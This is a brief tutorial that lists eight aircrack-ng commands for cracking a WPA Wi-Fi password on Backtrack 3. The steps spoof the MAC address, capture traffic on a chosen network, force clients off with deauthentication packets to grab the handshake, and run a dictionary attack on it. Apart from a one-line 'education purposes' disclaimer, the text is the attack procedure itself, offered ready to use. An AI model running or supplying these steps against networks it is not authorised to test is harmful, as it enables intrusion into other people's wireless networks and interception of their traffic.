HowTo: Crack WPA with Backtrack 3

This is an easy to follow tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes.

Steps:

  1. airmon-ng stop wlan0
  2. ifconfig wlan0 down
  3. macchanger –mac 00:11:22:33:44:55 wlan0
  4. airmon-ng start wlan0
  5. airodump-ng wlan0
  6. airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0
  7. aireplay-ng -0 5 -a (bssid)wlan0
  8. aircrack-ng (filename-01.cap)-w (dictionary location)

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